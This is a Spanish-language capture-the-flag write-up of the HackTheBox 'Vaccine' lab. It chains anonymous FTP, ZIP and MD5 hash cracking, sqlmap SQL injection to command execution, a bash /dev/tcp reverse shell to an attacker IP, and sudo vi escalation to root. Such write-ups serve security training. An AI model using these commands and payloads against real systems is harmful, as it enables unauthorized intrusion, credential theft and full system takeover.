// HackTheBox — Starting Point — Writeup

VACCINE

#linux #ftp #sqli #sqlmap #sudo-vi
// 01

RECONOCIMIENTO — Escaneo de puertos

Lo primero es verificar conectividad con la máquina víctima:

comprobación de conectividad
ping -c2 <IP>

Confirmada la conectividad, lanzamos un escaneo completo de puertos:

escaneo inicial — todos los puertos
nmap -p- -T5 <IP> -oG allPorts
PUERTOESTADOSERVICIO
21/tcpOPENFTP
22/tcpOPENSSH
80/tcpOPENHTTP
Tarea 1
¿Qué otro servicio hay además de SSH y HTTP? → FTP

Lanzamos un escaneo más profundo sobre los tres puertos para obtener versiones y ejecutar scripts de detección:

escaneo detallado de servicios
nmap -p21,22,80 -sSCV -T5 -n -Pn -vvv <IP> -oN scan.txt
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip

El escaneo revela algo crítico: Anonymous FTP login allowed. El servidor está configurado para aceptar el usuario anonymous con cualquier contraseña, sin necesidad de credenciales reales.

Tarea 2
¿Qué usuario permite login con cualquier contraseña? → anonymous
// 02

FTP ANÓNIMO — Extracción del archivo de backup

Accedemos al servicio FTP con el usuario anonymous y contraseña vacía, y listamos el directorio:

acceso FTP anónimo
ftp <IP> Name: anonymous Password: [vacía]
230 Login successful. ftp> ls -la drwxr-xr-x 2 0 0 4096 Apr 13 2021 . drwxr-xr-x 2 0 0 4096 Apr 13 2021 .. -rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip

Hay un único fichero disponible: backup.zip. Lo descargamos a nuestra máquina para examinarlo:

descarga del archivo
ftp> get backup.zip
Tarea 3
¿Cuál es el nombre del archivo descargado por FTP? → backup.zip
// 03

CRACKING — zip2john + John the Ripper

Al intentar descomprimir el archivo, comprobamos que está protegido por contraseña:

unzip backup.zip
[backup.zip] index.php password: skipping: index.php incorrect password skipping: style.css incorrect password

Usamos zip2john para extraer el hash del archivo en un formato apto para el cracking:

Tarea 4
¿Qué script de John the Ripper genera un hash desde un ZIP protegido? → zip2john
extracción del hash
zip2john backup.zip > backup-hash.txt
cracking del hash ZIP
john --wordlist=/usr/share/wordlists/rockyou.txt backup-hash.txt
1g 0:00:00:00 DONE (2026-02-26 09:22) 25.00g/s 204800p/s (backup.zip): 741852963..whitetiger Session completed.

Con la contraseña del ZIP obtenida lo descomprimimos y examinamos index.php, donde encontramos la lógica de autenticación:

index.php — lógica de autenticación
<?php session_start(); if(isset($_POST['username']) && isset($_POST['password'])) { if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") { $_SESSION['login'] = "true"; header("Location: dashboard.php"); } } ?>

El hash MD5 de la contraseña del administrador queda expuesto en el código fuente. Lo crackeamos especificando el formato raw-md5, necesario porque John no siempre detecta este esquema automáticamente:

cracking del hash MD5 del admin
echo "2cb42f8734ea607eefed3b70af13bbd3" > admin-hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 admin-hash.txt
1g 0:00:00:00 DONE (2026-02-26 09:27) 20.00g/s 2004Kp/s (?) : qwerty789..pogimo Session completed.
Tarea 5
¿Cuál es la contraseña del usuario admin en la web? → qwerty789
¿Por qué especificar --format=raw-md5?
John the Ripper tiene dificultades para distinguir entre distintos esquemas de hash MD5. Como sabemos por el código fuente que se usa md5() directamente sobre el password, lo especificamos explícitamente para evitar que John lo interprete como md5crypt u otro esquema y falle en el cracking.
// 04

SQL INJECTION — sqlmap y obtención de shell

Con admin / qwerty789 iniciamos sesión en la web. El panel en /dashboard.php expone un campo de búsqueda cuyo parámetro search es un vector potencial para inyección SQL. Usamos sqlmap con la cookie de sesión activa y la opción --os-shell para intentar RCE a través de la inyección:

Tarea 6
¿Qué opción de sqlmap permite intentar ejecución de comandos vía SQL injection? → --os-shell
explotación con sqlmap
sqlmap -u 'http://<IP>/dashboard.php?search=test' \ --batch \ --cookie="PHPSESSID=<VALOR_COOKIE>" \ --os-shell
[INFO] the back-end DBMS is PostgreSQL web application technology: Apache 2.4.41 [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER os-shell> whoami command standard output: 'postgres'
Vulnerabilidad
El parámetro search en dashboard.php no sanitiza la entrada, permitiendo inyección SQL sobre un backend PostgreSQL. El usuario de la base de datos tiene privilegios suficientes para ejecutar comandos del SO mediante COPY FROM PROGRAM, derivando directamente en RCE como usuario postgres.

La os-shell de sqlmap es funcional pero incómoda. Nos enviamos una reverse shell interactiva. Levantamos el listener y ejecutamos desde la os-shell:

listener en máquina atacante
nc -lvnp 4444
reverse shell desde os-shell
os-shell> bash -c 'bash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1'
postgres@vaccine:/var/www/html$ whoami postgres
// 05

CREDENCIALES EXPUESTAS — dashboard.php y sudo

Con la reverse shell activa como postgres, inspeccionamos el código fuente de la aplicación web en busca de credenciales. El archivo dashboard.php contiene la cadena de conexión a la base de datos en texto plano:

inspección de dashboard.php
cat /var/www/html/dashboard.php
try { $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!"); }
Credenciales expuestas
dashboard.php almacena la contraseña P@s5w0rd! en texto claro. El usuario postgres reutiliza esta contraseña en el sistema operativo, permitiendo la autenticación directa.

Comprobamos los privilegios sudo del usuario postgres:

comprobación de sudo
sudo -l [sudo] password for postgres: P@s5w0rd!
User postgres may run the following commands on vaccine: (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

El usuario puede ejecutar vi como root sobre un fichero de configuración específico. Antes de escalar, obtenemos la flag de usuario:

ls -l /var/lib/postgresql/ cat /var/lib/postgresql/user.txt
USER FLAG/var/lib/postgresql/user.txt
Tarea 7
¿Qué programa puede ejecutar postgres como root con sudo? → vi
// 06

PRIVILEGE ESCALATION — GTFOBins: vi como root

vi es un editor que permite ejecutar comandos de shell arbitrarios desde su propio modo de comandos. Aunque el sudo está restringido a un fichero concreto, el binario que se ejecuta es vi, que nos da acceso completo a la shell:

abrir vi con privilegios de root
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

Una vez dentro de vi, usamos la sintaxis :! para ejecutar un comando del sistema operativo directamente desde el editor:

escape de vi → shell de root
:!/bin/sh
¿Por qué funciona?
vi permite ejecutar comandos del SO mediante :!comando desde su modo de comandos. Como el proceso fue iniciado con sudo, los comandos se ejecutan con privilegios de root. Esta técnica está documentada en GTFOBins como vector estándar de escalada cuando se tiene sudo sobre editores de texto.
# whoami root # cd /root # ls -la -rw------- 1 root root 33 Feb 25 2020 root.txt # cat root.txt
ROOT FLAG/root/root.txt
// RESUMEN

CADENA DE ATAQUE

01
FTP Anónimo → backup.zip
El servicio FTP permite login como anonymous sin contraseña → se descarga backup.zip con el código fuente de la aplicación web
02
zip2john + John → credenciales admin
zip2john extrae el hash del ZIP → crackeado con rockyou → index.php expone hash MD5 del admin → crackeado a qwerty789
03
SQL Injection → RCE como postgres
Parámetro search vulnerable a SQLi en PostgreSQL → sqlmap --os-shell obtiene RCE mediante COPY FROM PROGRAM → reverse shell interactiva
04
Credenciales en dashboard.php
dashboard.php almacena la contraseña de postgres en texto claro: P@s5w0rd! → acceso al sistema y comprobación de sudo
sudo vi → GTFOBins → Root
postgres puede ejecutar vi como root → :!/bin/sh dentro del editor lanza shell de root → flag de root en /root/root.txt